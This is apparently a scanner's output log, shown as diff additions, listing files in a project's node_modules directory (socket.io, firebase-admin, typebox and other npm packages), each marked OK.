+/scan/node_modules/loupe/lib/object.js: OK
+/scan/node_modules/loupe/lib/error.js: OK
+/scan/node_modules/loupe/lib/set.js: OK
+/scan/node_modules/loupe/lib/array.js: OK
+/scan/node_modules/loupe/lib/string.js: OK
+/scan/node_modules/loupe/lib/function.js: OK
+/scan/node_modules/loupe/lib/date.js: OK
+/scan/node_modules/loupe/lib/helpers.js: OK
+/scan/node_modules/loupe/lib/regexp.js: OK
+/scan/node_modules/loupe/lib/map.js: OK
+/scan/node_modules/loupe/lib/class.js: OK
+/scan/node_modules/socket.io/LICENSE: OK
+/scan/node_modules/socket.io/dist/client.js: OK
+/scan/node_modules/socket.io/dist/uws.js: OK
+/scan/node_modules/socket.io/dist/broadcast-operator.js: OK
+/scan/node_modules/socket.io/dist/typed-events.js: OK
+/scan/node_modules/socket.io/dist/typed-events.d.ts: OK
+/scan/node_modules/socket.io/dist/socket.d.ts: OK
+/scan/node_modules/socket.io/dist/index.js: OK
+/scan/node_modules/socket.io/dist/socket-types.d.ts: OK
+/scan/node_modules/socket.io/dist/socket.js: OK
+/scan/node_modules/socket.io/dist/namespace.js: OK
+/scan/node_modules/socket.io/dist/socket-types.js: OK
+/scan/node_modules/socket.io/dist/parent-namespace.d.ts: OK
+/scan/node_modules/socket.io/dist/namespace.d.ts: OK
+/scan/node_modules/socket.io/dist/uws.d.ts: OK
+/scan/node_modules/socket.io/dist/index.d.ts: OK
+/scan/node_modules/socket.io/dist/broadcast-operator.d.ts: OK
+/scan/node_modules/socket.io/dist/parent-namespace.js: OK
+/scan/node_modules/socket.io/dist/client.d.ts: OK
+/scan/node_modules/socket.io/wrapper.mjs: OK
+/scan/node_modules/socket.io/client-dist/socket.io.msgpack.min.js: OK
+/scan/node_modules/socket.io/client-dist/socket.io.min.js.map: OK
+/scan/node_modules/socket.io/client-dist/socket.io.min.js: OK
+/scan/node_modules/socket.io/client-dist/socket.io.js: OK
+/scan/node_modules/socket.io/client-dist/socket.io.js.map: OK
+/scan/node_modules/socket.io/client-dist/socket.io.esm.min.js: OK
+/scan/node_modules/socket.io/client-dist/socket.io.msgpack.min.js.map: OK
+/scan/node_modules/socket.io/client-dist/socket.io.esm.min.js.map: OK
+/scan/node_modules/socket.io/Readme.md: OK
+/scan/node_modules/socket.io/package.json: OK
+/scan/node_modules/@react-email/render/license.md: OK
+/scan/node_modules/@react-email/render/dist/browser/index.d.mts: OK
+/scan/node_modules/@react-email/render/dist/browser/index.js: OK
+/scan/node_modules/@react-email/render/dist/browser/index.mjs: OK
+/scan/node_modules/@react-email/render/dist/browser/index.d.ts: OK
+/scan/node_modules/@react-email/render/dist/node/index.d.mts: OK
+/scan/node_modules/@react-email/render/dist/node/index.js: OK
+/scan/node_modules/@react-email/render/dist/node/index.mjs: OK
+/scan/node_modules/@react-email/render/dist/node/index.d.ts: OK
+/scan/node_modules/@react-email/render/readme.md: OK
+/scan/node_modules/@react-email/render/package.json: OK
+/scan/node_modules/html-to-text/LICENSE: OK
+/scan/node_modules/html-to-text/CHANGELOG.md: OK
+/scan/node_modules/html-to-text/README.md: OK
+/scan/node_modules/html-to-text/package.json: OK
+/scan/node_modules/html-to-text/lib/html-to-text.mjs: OK
+/scan/node_modules/html-to-text/lib/html-to-text.cjs: OK
+/scan/node_modules/clone/.npmignore: OK
+/scan/node_modules/clone/clone.iml: OK
+/scan/node_modules/clone/LICENSE: OK
+/scan/node_modules/clone/README.md: OK
+/scan/node_modules/clone/package.json: OK
+/scan/node_modules/clone/clone.js: OK
+/scan/node_modules/estraverse/estraverse.js: OK
+/scan/node_modules/estraverse/.jshintrc: OK
+/scan/node_modules/estraverse/README.md: OK
+/scan/node_modules/estraverse/LICENSE.BSD: OK
+/scan/node_modules/estraverse/package.json: OK
+/scan/node_modules/estraverse/gulpfile.js: OK
+/scan/node_modules/ansi-styles/license: OK
+/scan/node_modules/ansi-styles/index.js: OK
+/scan/node_modules/ansi-styles/readme.md: OK
+/scan/node_modules/ansi-styles/package.json: OK
+/scan/node_modules/ansi-styles/index.d.ts: OK
+/scan/node_modules/is-core-module/LICENSE: OK
+/scan/node_modules/is-core-module/test/index.js: OK
+/scan/node_modules/is-core-module/CHANGELOG.md: OK
+/scan/node_modules/is-core-module/.eslintrc: OK
+/scan/node_modules/is-core-module/index.js: OK
+/scan/node_modules/is-core-module/README.md: OK
+/scan/node_modules/is-core-module/core.json: OK
+/scan/node_modules/is-core-module/package.json: OK
+/scan/node_modules/is-core-module/.nycrc: OK
+/scan/node_modules/graphemer/LICENSE: OK
+/scan/node_modules/graphemer/CHANGELOG.md: OK
+/scan/node_modules/graphemer/README.md: OK
+/scan/node_modules/graphemer/package.json: OK
+/scan/node_modules/graphemer/lib/GraphemerIterator.d.ts: OK
+/scan/node_modules/graphemer/lib/boundaries.d.ts: OK
+/scan/node_modules/graphemer/lib/Graphemer.js: OK
+/scan/node_modules/graphemer/lib/boundaries.js: OK
+/scan/node_modules/graphemer/lib/index.js: OK
+/scan/node_modules/graphemer/lib/GraphemerHelper.js: OK
+/scan/node_modules/graphemer/lib/Graphemer.d.ts: OK
+/scan/node_modules/graphemer/lib/boundaries.d.ts.map: OK
+/scan/node_modules/graphemer/lib/GraphemerHelper.d.ts.map: OK
+/scan/node_modules/graphemer/lib/GraphemerIterator.d.ts.map: OK
+/scan/node_modules/graphemer/lib/index.d.ts: OK
+/scan/node_modules/graphemer/lib/Graphemer.d.ts.map: OK
+/scan/node_modules/graphemer/lib/GraphemerHelper.d.ts: OK
+/scan/node_modules/graphemer/lib/GraphemerIterator.js: OK
+/scan/node_modules/graphemer/lib/index.d.ts.map: OK
+/scan/node_modules/mlly/LICENSE: OK
+/scan/node_modules/mlly/dist/index.d.mts: OK
+/scan/node_modules/mlly/dist/index.d.cts: OK
+/scan/node_modules/mlly/dist/index.cjs: OK
+/scan/node_modules/mlly/dist/index.mjs: OK
+/scan/node_modules/mlly/dist/index.d.ts: OK
+/scan/node_modules/mlly/node_modules/pathe/LICENSE: OK
+/scan/node_modules/mlly/node_modules/pathe/dist/utils.cjs: OK
+/scan/node_modules/mlly/node_modules/pathe/dist/index.d.mts: OK
+/scan/node_modules/mlly/node_modules/pathe/dist/index.d.cts: OK
+/scan/node_modules/mlly/node_modules/pathe/dist/utils.mjs: OK
+/scan/node_modules/mlly/node_modules/pathe/dist/shared/pathe.M-eThtNZ.mjs: OK
+/scan/node_modules/mlly/node_modules/pathe/dist/shared/pathe.BSlhyZSM.cjs: OK
+/scan/node_modules/mlly/node_modules/pathe/dist/utils.d.ts: OK
+/scan/node_modules/mlly/node_modules/pathe/dist/utils.d.cts: OK
+/scan/node_modules/mlly/node_modules/pathe/dist/index.cjs: OK
+/scan/node_modules/mlly/node_modules/pathe/dist/index.mjs: OK
+/scan/node_modules/mlly/node_modules/pathe/dist/utils.d.mts: OK
+/scan/node_modules/mlly/node_modules/pathe/dist/index.d.ts: OK
+/scan/node_modules/mlly/node_modules/pathe/README.md: OK
+/scan/node_modules/mlly/node_modules/pathe/package.json: OK
+/scan/node_modules/mlly/node_modules/pathe/utils.d.ts: OK
+/scan/node_modules/mlly/README.md: OK
+/scan/node_modules/mlly/package.json: OK
+/scan/node_modules/cookie-signature/History.md: OK
+/scan/node_modules/cookie-signature/index.js: OK
+/scan/node_modules/cookie-signature/Readme.md: OK
+/scan/node_modules/cookie-signature/package.json: OK
+/scan/node_modules/websocket-extensions/LICENSE.md: OK
+/scan/node_modules/websocket-extensions/CHANGELOG.md: OK
+/scan/node_modules/websocket-extensions/README.md: OK
+/scan/node_modules/websocket-extensions/package.json: OK
+/scan/node_modules/websocket-extensions/lib/pipeline/functor.js: OK
+/scan/node_modules/websocket-extensions/lib/pipeline/pledge.js: OK
+/scan/node_modules/websocket-extensions/lib/pipeline/cell.js: OK
+/scan/node_modules/websocket-extensions/lib/pipeline/index.js: OK
+/scan/node_modules/websocket-extensions/lib/pipeline/README.md: OK
+/scan/node_modules/websocket-extensions/lib/pipeline/ring_buffer.js: OK
+/scan/node_modules/websocket-extensions/lib/parser.js: OK
+/scan/node_modules/websocket-extensions/lib/websocket_extensions.js: OK
+/scan/node_modules/png-js/LICENSE: OK
+/scan/node_modules/png-js/README.md: OK
+/scan/node_modules/png-js/package.json: OK
+/scan/node_modules/png-js/lib/png-js.browser.cjs: OK
+/scan/node_modules/png-js/lib/png-js.cjs: OK
+/scan/node_modules/png-js/lib/png-js.browser.js: OK
+/scan/node_modules/png-js/lib/png-js.js: OK
+/scan/node_modules/png-js/png.js: OK
+/scan/node_modules/forwarded/LICENSE: OK
+/scan/node_modules/forwarded/HISTORY.md: OK
+/scan/node_modules/forwarded/index.js: OK
+/scan/node_modules/forwarded/README.md: OK
+/scan/node_modules/forwarded/package.json: OK
+/scan/node_modules/js-tokens/LICENSE: OK
+/scan/node_modules/js-tokens/CHANGELOG.md: OK
+/scan/node_modules/js-tokens/index.js: OK
+/scan/node_modules/js-tokens/README.md: OK
+/scan/node_modules/js-tokens/package.json: OK
+/scan/node_modules/dlv/dist/dlv.es.js.map: OK
+/scan/node_modules/dlv/dist/dlv.es.js: OK
+/scan/node_modules/dlv/dist/dlv.js: OK
+/scan/node_modules/dlv/dist/dlv.js.map: OK
+/scan/node_modules/dlv/dist/dlv.umd.js: OK
+/scan/node_modules/dlv/dist/dlv.umd.js.map: OK
+/scan/node_modules/dlv/index.js: OK
+/scan/node_modules/dlv/README.md: OK
+/scan/node_modules/dlv/package.json: OK
+/scan/node_modules/negotiator/LICENSE: OK
+/scan/node_modules/negotiator/HISTORY.md: OK
+/scan/node_modules/negotiator/index.js: OK
+/scan/node_modules/negotiator/README.md: OK
+/scan/node_modules/negotiator/package.json: OK
+/scan/node_modules/negotiator/lib/encoding.js: OK
+/scan/node_modules/negotiator/lib/language.js: OK
+/scan/node_modules/negotiator/lib/mediaType.js: OK
+/scan/node_modules/negotiator/lib/charset.js: OK
+/scan/node_modules/@sinclair/typebox/license: OK
+/scan/node_modules/@sinclair/typebox/typebox.d.ts: OK
+/scan/node_modules/@sinclair/typebox/value/convert.js: OK
+/scan/node_modules/@sinclair/typebox/value/is.d.ts: OK
+/scan/node_modules/@sinclair/typebox/value/convert.d.ts: OK
+/scan/node_modules/@sinclair/typebox/value/equal.d.ts: OK
+/scan/node_modules/@sinclair/typebox/value/is.js: OK
+/scan/node_modules/@sinclair/typebox/value/value.d.ts: OK
+/scan/node_modules/@sinclair/typebox/value/cast.js: OK
+/scan/node_modules/@sinclair/typebox/value/clone.d.ts: OK
+/scan/node_modules/@sinclair/typebox/value/cast.d.ts: OK
+/scan/node_modules/@sinclair/typebox/value/index.js: OK
+/scan/node_modules/@sinclair/typebox/value/create.js: OK
+/scan/node_modules/@sinclair/typebox/value/equal.js: OK
+/scan/node_modules/@sinclair/typebox/value/delta.d.ts: OK
+/scan/node_modules/@sinclair/typebox/value/check.js: OK
+/scan/node_modules/@sinclair/typebox/value/check.d.ts: OK
+/scan/node_modules/@sinclair/typebox/value/pointer.js: OK
+/scan/node_modules/@sinclair/typebox/value/value.js: OK
+/scan/node_modules/@sinclair/typebox/value/create.d.ts: OK
+/scan/node_modules/@sinclair/typebox/value/clone.js: OK
+/scan/node_modules/@sinclair/typebox/value/hash.d.ts: OK
+/scan/node_modules/@sinclair/typebox/value/index.d.ts: OK
+/scan/node_modules/@sinclair/typebox/value/hash.js: OK
+/scan/node_modules/@sinclair/typebox/value/pointer.d.ts: OK
+/scan/node_modules/@sinclair/typebox/value/delta.js: OK
+/scan/node_modules/@sinclair/typebox/value/mutate.d.ts: OK
+/scan/node_modules/@sinclair/typebox/value/mutate.js: OK
+/scan/node_modules/@sinclair/typebox/typebox.js: OK
+/scan/node_modules/@sinclair/typebox/readme.md: OK
+/scan/node_modules/@sinclair/typebox/system/system.js: OK
+/scan/node_modules/@sinclair/typebox/system/index.js: OK
+/scan/node_modules/@sinclair/typebox/system/index.d.ts: OK
+/scan/node_modules/@sinclair/typebox/system/system.d.ts: OK
+/scan/node_modules/@sinclair/typebox/package.json: OK
+/scan/node_modules/@sinclair/typebox/errors/errors.d.ts: OK
+/scan/node_modules/@sinclair/typebox/errors/index.js: OK
+/scan/node_modules/@sinclair/typebox/errors/errors.js: OK
+/scan/node_modules/@sinclair/typebox/errors/index.d.ts: OK
+/scan/node_modules/@sinclair/typebox/compiler/index.js: OK
+/scan/node_modules/@sinclair/typebox/compiler/compiler.js: OK
+/scan/node_modules/@sinclair/typebox/compiler/compiler.d.ts: OK
+/scan/node_modules/@sinclair/typebox/compiler/index.d.ts: OK
+/scan/node_modules/firebase-admin/LICENSE: OK
+/scan/node_modules/firebase-admin/CHANGELOG.md: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/compatibility/indexable.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/compatibility/index.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/compatibility/iterators.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/compatibility/disposable.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/path.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/constants.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/domain.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/diagnostics_channel.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/globals.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/sea.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/string_decoder.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/tls.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/tty.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/punycode.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/LICENSE: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/readline.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/crypto.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/trace_events.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/events.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/os.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/buffer.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/querystring.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/worker_threads.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/timers/promises.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/console.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/async_hooks.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/stream/consumers.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/stream/web.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/stream/promises.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/dns.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/readline/promises.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/vm.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/web-globals/events.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/web-globals/fetch.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/web-globals/navigator.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/web-globals/domexception.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/web-globals/abortcontroller.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/web-globals/storage.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/inspector.generated.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/buffer.buffer.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/timers.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/test.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/http.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/http2.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/stream.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/inspector.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/assert/strict.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/README.md: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/v8.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/perf_hooks.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/url.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/cluster.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/package.json: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/https.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/assert.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/fs.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/repl.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/dgram.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/child_process.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/zlib.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/module.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/sqlite.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/globals.typedarray.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/process.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/util.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/wasi.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/index.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/ts5.6/buffer.buffer.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/ts5.6/globals.typedarray.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/ts5.6/index.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/dns/promises.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/fs/promises.d.ts: OK
+/scan/node_modules/firebase-admin/node_modules/@types/node/net.d.ts: OK
+/scan/node_modules/firebase-admin/README.md: OK
+/scan/node_modules/firebase-admin/package.json: OK
+/scan/node_modules/firebase-admin/lib/database/database.js: OK
+/scan/node_modules/firebase-admin/lib/database/index.js: OK
+/scan/node_modules/firebase-admin/lib/database/database-namespace.d.ts: OK
+/scan/node_modules/firebase-admin/lib/database/database.d.ts: OK
+/scan/node_modules/firebase-admin/lib/database/index.d.ts: OK
+/scan/node_modules/firebase-admin/lib/database/database-namespace.js: OK
+/scan/node_modules/firebase-admin/lib/credential/index.js: OK
+/scan/node_modules/firebase-admin/lib/credential/index.d.ts: OK
+/scan/node_modules/firebase-admin/lib/default-namespace.d.ts: OK
+/scan/node_modules/firebase-admin/lib/app/credential-internal.js: OK
+/scan/node_modules/firebase-admin/lib/app/core.js: OK
+/scan/node_modules/firebase-admin/lib/app/credential-internal.d.ts: OK
+/scan/node_modules/firebase-admin/lib/app/lifecycle.d.ts: OK
+/scan/node_modules/firebase-admin/lib/app/credential.d.ts: OK
+/scan/node_modules/firebase-admin/lib/app/firebase-app.js: OK
+/scan/node_modules/firebase-admin/lib/app/index.js: OK
+/scan/node_modules/firebase-admin/lib/app/credential-factory.d.ts: OK
+/scan/node_modules/firebase-admin/lib/app/core.d.ts: OK
+/scan/node_modules/firebase-admin/lib/app/firebase-namespace.d.ts: OK
+/scan/node_modules/firebase-admin/lib/app/firebase-app.d.ts: OK
+/scan/node_modules/firebase-admin/lib/app/credential.js: OK
+/scan/node_modules/firebase-admin/lib/app/credential-factory.js: OK
+/scan/node_modules/firebase-admin/lib/app/index.d.ts: OK
+/scan/node_modules/firebase-admin/lib/app/firebase-namespace.js: OK
+/scan/node_modules/firebase-admin/lib/app/lifecycle.js: OK
+/scan/node_modules/firebase-admin/lib/firestore/firestore-internal.js: OK
+/scan/node_modules/firebase-admin/lib/firestore/index.js: OK
+/scan/node_modules/firebase-admin/lib/firestore/firestore-internal.d.ts: OK
+/scan/node_modules/firebase-admin/lib/firestore/firestore-namespace.d.ts: OK
+/scan/node_modules/firebase-admin/lib/firestore/index.d.ts: OK
+/scan/node_modules/firebase-admin/lib/firestore/firestore-namespace.js: OK
+/scan/node_modules/firebase-admin/lib/esm/database/index.js: OK
+/scan/node_modules/firebase-admin/lib/esm/app/index.js: OK
+/scan/node_modules/firebase-admin/lib/esm/firestore/index.js: OK
+/scan/node_modules/firebase-admin/lib/esm/auth/index.js: OK
+/scan/node_modules/firebase-admin/lib/esm/project-management/index.js: OK
+/scan/node_modules/firebase-admin/lib/esm/app-check/index.js: OK
+/scan/node_modules/firebase-admin/lib/esm/remote-config/index.js: OK
+/scan/node_modules/firebase-admin/lib/esm/storage/index.js: OK
+/scan/node_modules/firebase-admin/lib/esm/extensions/index.js: OK
+/scan/node_modules/firebase-admin/lib/esm/installations/index.js: OK
+/scan/node_modules/firebase-admin/lib/esm/package.json: OK
+/scan/node_modules/firebase-admin/lib/esm/instance-id/index.js: OK
+/scan/node_modules/firebase-admin/lib/esm/eventarc/index.js: OK
+/scan/node_modules/firebase-admin/lib/esm/functions/index.js: OK
+/scan/node_modules/firebase-admin/lib/esm/data-connect/index.js: OK
+/scan/node_modules/firebase-admin/lib/esm/machine-learning/index.js: OK
+/scan/node_modules/firebase-admin/lib/esm/messaging/index.js: OK
+/scan/node_modules/firebase-admin/lib/esm/security-rules/index.js: OK
+/scan/node_modules/firebase-admin/lib/auth/token-verifier.js: OK
+/scan/node_modules/firebase-admin/lib/auth/token-verifier.d.ts: OK
+/scan/node_modules/firebase-admin/lib/auth/project-config.js: OK
+/scan/node_modules/firebase-admin/lib/auth/tenant-manager.js: OK
+/scan/node_modules/firebase-admin/lib/auth/auth-namespace.d.ts: OK
+/scan/node_modules/firebase-admin/lib/auth/auth-config.js: OK
+/scan/node_modules/firebase-admin/lib/auth/tenant.d.ts: OK
+/scan/node_modules/firebase-admin/lib/auth/project-config-manager.d.ts: OK
+/scan/node_modules/firebase-admin/lib/auth/base-auth.js: OK
+/scan/node_modules/firebase-admin/lib/auth/auth.js: OK
+/scan/node_modules/firebase-admin/lib/auth/action-code-settings-builder.js: OK
+/scan/node_modules/firebase-admin/lib/auth/project-config-manager.js: OK
+/scan/node_modules/firebase-admin/lib/auth/index.js: OK
+/scan/node_modules/firebase-admin/lib/auth/token-generator.d.ts: OK
+/scan/node_modules/firebase-admin/lib/auth/user-record.d.ts: OK
+/scan/node_modules/firebase-admin/lib/auth/tenant.js: OK
+/scan/node_modules/firebase-admin/lib/auth/user-record.js: OK
+/scan/node_modules/firebase-admin/lib/auth/tenant-manager.d.ts: OK
+/scan/node_modules/firebase-admin/lib/auth/identifier.js: OK
+/scan/node_modules/firebase-admin/lib/auth/auth-api-request.js: OK
+/scan/node_modules/firebase-admin/lib/auth/auth-config.d.ts: OK
+/scan/node_modules/firebase-admin/lib/auth/auth-namespace.js: OK
+/scan/node_modules/firebase-admin/lib/auth/auth-api-request.d.ts: OK
+/scan/node_modules/firebase-admin/lib/auth/project-config.d.ts: OK
+/scan/node_modules/firebase-admin/lib/auth/auth.d.ts: OK
+/scan/node_modules/firebase-admin/lib/auth/index.d.ts: OK
+/scan/node_modules/firebase-admin/lib/auth/token-generator.js: OK
+/scan/node_modules/firebase-admin/lib/auth/action-code-settings-builder.d.ts: OK
+/scan/node_modules/firebase-admin/lib/auth/base-auth.d.ts: OK
+/scan/node_modules/firebase-admin/lib/auth/user-import-builder.d.ts: OK
+/scan/node_modules/firebase-admin/lib/auth/identifier.d.ts: OK
+/scan/node_modules/firebase-admin/lib/auth/user-import-builder.js: OK
+/scan/node_modules/firebase-admin/lib/project-management/app-metadata.js: OK
+/scan/node_modules/firebase-admin/lib/project-management/project-management-api-request-internal.d.ts: OK
+/scan/node_modules/firebase-admin/lib/project-management/project-management-namespace.js: OK
+/scan/node_modules/firebase-admin/lib/project-management/android-app.js: OK
+/scan/node_modules/firebase-admin/lib/project-management/project-management.d.ts: OK
+/scan/node_modules/firebase-admin/lib/project-management/ios-app.js: OK
+/scan/node_modules/firebase-admin/lib/project-management/ios-app.d.ts: OK
+/scan/node_modules/firebase-admin/lib/project-management/index.js: OK
+/scan/node_modules/firebase-admin/lib/project-management/project-management-api-request-internal.js: OK
+/scan/node_modules/firebase-admin/lib/project-management/project-management.js: OK
+/scan/node_modules/firebase-admin/lib/project-management/app-metadata.d.ts: OK
+/scan/node_modules/firebase-admin/lib/project-management/index.d.ts: OK
+/scan/node_modules/firebase-admin/lib/project-management/android-app.d.ts: OK
+/scan/node_modules/firebase-admin/lib/project-management/project-management-namespace.d.ts: OK
+/scan/node_modules/firebase-admin/lib/index.js: OK
+/scan/node_modules/firebase-admin/lib/utils/jwt.d.ts: OK
+/scan/node_modules/firebase-admin/lib/utils/error.d.ts: OK
+/scan/node_modules/firebase-admin/lib/utils/crypto-signer.js: OK
+/scan/node_modules/firebase-admin/lib/utils/api-request.js: OK
+/scan/node_modules/firebase-admin/lib/utils/validator.js: OK
+/scan/node_modules/firebase-admin/lib/utils/index.js: OK
+/scan/node_modules/firebase-admin/lib/utils/crypto-signer.d.ts: OK
+/scan/node_modules/firebase-admin/lib/utils/error.js: OK
+/scan/node_modules/firebase-admin/lib/utils/deep-copy.d.ts: OK
+/scan/node_modules/firebase-admin/lib/utils/validator.d.ts: OK
+/scan/node_modules/firebase-admin/lib/utils/jwt.js: OK
+/scan/node_modules/firebase-admin/lib/utils/deep-copy.js: OK
+/scan/node_modules/firebase-admin/lib/utils/index.d.ts: OK
+/scan/node_modules/firebase-admin/lib/utils/api-request.d.ts: OK
+/scan/node_modules/firebase-admin/lib/app-check/token-verifier.js: OK
+/scan/node_modules/firebase-admin/lib/app-check/token-verifier.d.ts: OK
+/scan/node_modules/firebase-admin/lib/app-check/app-check-api-client-internal.d.ts: OK
+/scan/node_modules/firebase-admin/lib/app-check/app-check-api.js: OK
+/scan/node_modules/firebase-admin/lib/app-check/index.js: OK
+/scan/node_modules/firebase-admin/lib/app-check/token-generator.d.ts: OK
+/scan/node_modules/firebase-admin/lib/app-check/app-check-api-client-internal.js: OK
+/scan/node_modules/firebase-admin/lib/app-check/app-check-namespace.d.ts: OK
+/scan/node_modules/firebase-admin/lib/app-check/app-check-namespace.js: OK
+/scan/node_modules/firebase-admin/lib/app-check/app-check.js: OK
+/scan/node_modules/firebase-admin/lib/app-check/app-check-api.d.ts: OK
+/scan/node_modules/firebase-admin/lib/app-check/index.d.ts: OK
+/scan/node_modules/firebase-admin/lib/app-check/token-generator.js: OK
+/scan/node_modules/firebase-admin/lib/app-check/app-check.d.ts: OK
+/scan/node_modules/firebase-admin/lib/remote-config/remote-config-api.d.ts: OK
+/scan/node_modules/firebase-admin/lib/remote-config/remote-config-namespace.d.ts: OK
+/scan/node_modules/firebase-admin/lib/remote-config/remote-config.d.ts: OK
+/scan/node_modules/firebase-admin/lib/remote-config/condition-evaluator-internal.js: OK
+/scan/node_modules/firebase-admin/lib/remote-config/internal/value-impl.d.ts: OK
+/scan/node_modules/firebase-admin/lib/remote-config/internal/value-impl.js: OK
+/scan/node_modules/firebase-admin/lib/remote-config/index.js: OK
+/scan/node_modules/firebase-admin/lib/remote-config/remote-config-namespace.js: OK
+/scan/node_modules/firebase-admin/lib/remote-config/remote-config-api-client-internal.d.ts: OK
+/scan/node_modules/firebase-admin/lib/remote-config/condition-evaluator-internal.d.ts: OK
+/scan/node_modules/firebase-admin/lib/remote-config/remote-config.js: OK
+/scan/node_modules/firebase-admin/lib/remote-config/remote-config-api.js: OK
+/scan/node_modules/firebase-admin/lib/remote-config/index.d.ts: OK
+/scan/node_modules/firebase-admin/lib/remote-config/remote-config-api-client-internal.js: OK
+/scan/node_modules/firebase-admin/lib/firebase-namespace-api.js: OK
+/scan/node_modules/firebase-admin/lib/storage/storage-namespace.js: OK
+/scan/node_modules/firebase-admin/lib/storage/index.js: OK
+/scan/node_modules/firebase-admin/lib/storage/utils.d.ts: OK
+/scan/node_modules/firebase-admin/lib/storage/storage-namespace.d.ts: OK
+/scan/node_modules/firebase-admin/lib/storage/utils.js: OK
+/scan/node_modules/firebase-admin/lib/storage/index.d.ts: OK
+/scan/node_modules/firebase-admin/lib/storage/storage.d.ts: OK
+/scan/node_modules/firebase-admin/lib/storage/storage.js: OK
+/scan/node_modules/firebase-admin/lib/extensions/index.js: OK
+/scan/node_modules/firebase-admin/lib/extensions/extensions.d.ts: OK
+/scan/node_modules/firebase-admin/lib/extensions/extensions-api.d.ts: OK
+/scan/node_modules/firebase-admin/lib/extensions/extensions-api-client-internal.d.ts: OK
+/scan/node_modules/firebase-admin/lib/extensions/extensions-api.js: OK
+/scan/node_modules/firebase-admin/lib/extensions/extensions-api-client-internal.js: OK
+/scan/node_modules/firebase-admin/lib/extensions/extensions.js: OK
+/scan/node_modules/firebase-admin/lib/extensions/index.d.ts: OK
+/scan/node_modules/firebase-admin/lib/installations/installations-request-handler.js: OK
+/scan/node_modules/firebase-admin/lib/installations/installations-namespace.d.ts: OK
+/scan/node_modules/firebase-admin/lib/installations/index.js: OK
+/scan/node_modules/firebase-admin/lib/installations/installations-namespace.js: OK
+/scan/node_modules/firebase-admin/lib/installations/installations.js: OK
+/scan/node_modules/firebase-admin/lib/installations/installations-request-handler.d.ts: OK
